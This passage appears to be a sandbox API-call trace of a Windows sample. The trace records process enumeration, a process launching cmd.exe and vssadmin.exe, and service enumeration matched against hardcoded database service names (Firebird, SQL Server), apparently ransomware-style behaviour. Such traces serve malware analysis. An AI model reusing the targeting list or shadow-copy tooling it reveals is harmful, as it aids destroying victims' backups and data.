th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0220.737] lstrlenW (lpString="gccinformational.exe") returned 20 [0220.737] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0220.738] lstrlenW (lpString="diploma.exe") returned 11 [0220.738] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0220.739] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0220.739] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.740] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0220.740] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.742] lstrlenW (lpString="svchost.exe") returned 11 [0220.744] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0220.745] lstrlenW (lpString="sppsvc.exe") returned 10 [0220.745] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.746] lstrlenW (lpString="svchost.exe") returned 11 [0220.746] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0220.747] lstrlenW (lpString="qnuriy.exe") returned 10 [0220.747] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0220.748] lstrlenW (lpString="cmd.exe") returned 7 [0220.748] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0220.749] lstrlenW (lpString="conhost.exe") returned 11 [0220.749] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0220.750] lstrlenW (lpString="vssadmin.exe") returned 12 [0220.750] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.751] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0220.751] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0220.751] lstrlenW (lpString="VSSVC.exe") returned 9 [0220.752] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.752] lstrlenW (lpString="svchost.exe") returned 11 [0220.752] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0220.753] CloseHandle (hObject=0x1a0) returned 1 [0220.753] Sleep (dwMilliseconds=0x1f4) [0221.419] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5700b0 [0221.419] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0221.420] GetLastError () returned 0xea [0221.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f1c0d8 [0221.420] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0221.420] CloseServiceHandle (hSCObject=0x5700b0) returned 1 [0221.421] lstrlenW (lpString="Appinfo") returned 7 [0221.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0221.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0221.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0221.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0221.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0221.421] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0221.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0221.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0221.421] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0221.421] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0221.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0221.421] lstrlenW (lpString="AudioSrv") returned 8 [0221.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0221.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0221.421] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0221.421] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0221.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0221.421] lstrlenW (lpString="BFE") returned 3 [0221.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0221.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0221.421] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0221.421] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0221.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0221.421] lstrlenW (lpString="CryptSvc") returned 8 [0221.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0221.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0221.421] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0221.421] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0221.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0221.421] lstrlenW (lpString="CscService") returned 10 [0221.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0221.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0221.422] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0221.422] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0221.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0221.422] lstrlenW (lpString="DcomLaunch") returned 10 [0221.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0221.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0221.422] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0221.422] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0221.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0221.422] lstrlenW (lpString="Dhcp") returned 4 [0221.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0221.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0221.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0221.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0221.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0221.422] lstrlenW (lpString="Dnscache") returned 8 [0221.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0221.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0221.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0221.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0221.452] lstrlenW (lpString="DPS") returned 3 [0221.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0221.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0221.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0221.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0221.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0221.453] lstrlenW (lpString="eventlog") returned 8 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0221.453] lstrlenW (lpString="EventSystem") returned 11 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0221.453] lstrlenW (lpString="FontCache") returned 9 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0221.453] lstrlenW (lpString="gpsvc") returned 5 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0221.453] lstrlenW (lpString="iphlpsvc") returned 8 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0221.453] lstrlenW (lpString="LanmanServer") returned 12 [0221.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0221.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0221.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0221.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0221.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0221.454] lstrlenW (lpString="LanmanWorkstation") returned 17 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0221.454] lstrlenW (lpString="lmhosts") returned 7 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0221.454] lstrlenW (lpString="MMCSS") returned 5 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0221.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0221.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0221.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0221.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0221.454] lstrlenW (lpString="MpsSvc") returned 6 [0221.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0221.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0221.460] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0221.460] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0221.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0221.460] lstrlenW (lpString="Netman") returned 6 [0221.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0221.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0221.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0221.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0221.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0221.460] lstrlenW (lpString="netprofm") returned 8 [0221.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0221.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0221.461] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0221.461] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0221.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0221.461] lstrlenW (lpString="NlaSvc") returned 6 [0221.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0221.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0221.461] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0221.461] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0221.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0221.461] lstrlenW (lpString="nsi") returned 3 [0221.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0221.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0221.461] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0221.461] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0221.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0221.461] lstrlenW (lpString="PcaSvc") returned 6 [0221.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0221.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0221.461] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0221.461] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0221.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0221.461] lstrlenW (lpString="PlugPlay") returned 8 [0221.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0221.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0221.461] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0221.461] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0221.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0221.461] lstrlenW (lpString="Power") returned 5 [0221.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0221.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0221.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0221.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0221.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0221.462] lstrlenW (lpString="ProfSvc") returned 7 [0221.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0221.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0221.462] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0221.462] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0221.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0221.462] lstrlenW (lpString="RpcEptMapper") returned 12 [0221.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0221.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0221.462] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0221.462] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0221.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0221.462] lstrlenW (lpString="RpcSs") returned 5 [0221.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0221.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0221.462] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0221.462] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0221.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0221.462] lstrlenW (lpString="SamSs") returned 5 [0221.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0221.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0221.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0221.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0221.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0221.462] lstrlenW (lpString="Schedule") returned 8 [0221.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0221.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0221.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0221.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0221.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0221.462] lstrlenW (lpString="SENS") returned 4 [0221.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0221.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0221.463] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0221.463] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0221.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0221.463] lstrlenW (lpString="ShellHWDetection") returned 16 [0221.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0221.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0221.463] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0221.463] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0221.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0221.463] lstrlenW (lpString="Spooler") returned 7 [0221.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0221.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0221.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0221.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0221.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0221.463] lstrlenW (lpString="sppsvc") returned 6 [0221.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0221.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0221.463] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0221.463] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0221.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0221.463] lstrlenW (lpString="swprv") returned 5 [0221.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0221.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0221.463] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0221.463] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0221.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0221.463] lstrlenW (lpString="SysMain") returned 7 [0221.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0221.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0221.464] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0221.464] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0221.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0221.464] lstrlenW (lpString="Themes") returned 6 [0221.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0221.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0221.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0221.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0221.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0221.464] lstrlenW (lpString="TrkWks") returned 6 [0221.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0221.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0221.464] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0221.464] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0221.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0221.465] lstrlenW (lpString="UxSms") returned 5 [0221.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0221.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0221.465] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0221.465] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0221.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0221.465] lstrlenW (lpString="VSS") returned 3 [0221.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0221.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0221.465] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0221.465] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0221.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0221.465] lstrlenW (lpString="WdiServiceHost") returned 14 [0221.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0221.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0221.465] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0221.465] lstrcmpiW 